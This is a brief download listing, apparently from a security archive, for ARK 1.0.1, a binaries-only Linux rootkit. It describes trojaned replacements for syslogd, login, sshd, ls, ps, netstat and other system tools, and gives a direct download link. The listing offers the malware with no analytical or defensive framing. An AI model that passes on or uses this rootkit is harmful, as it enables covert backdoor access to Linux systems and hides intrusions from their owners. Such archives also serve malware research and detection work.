ARK version 1.0.1 – Ambient’s Rootkit for Linux. Binaries only. This package includes backdoored versions of syslogd, login, sshd, ls, du, ps, pstree, killall, and netstat.
You can download it from the following link: https://packetstormsecurity.com/files/download/23947/ark-1.0.1.tar.gz
Source: https://packetstormsecurity.com/files/23947/ark-1.0.1.tar.gz.html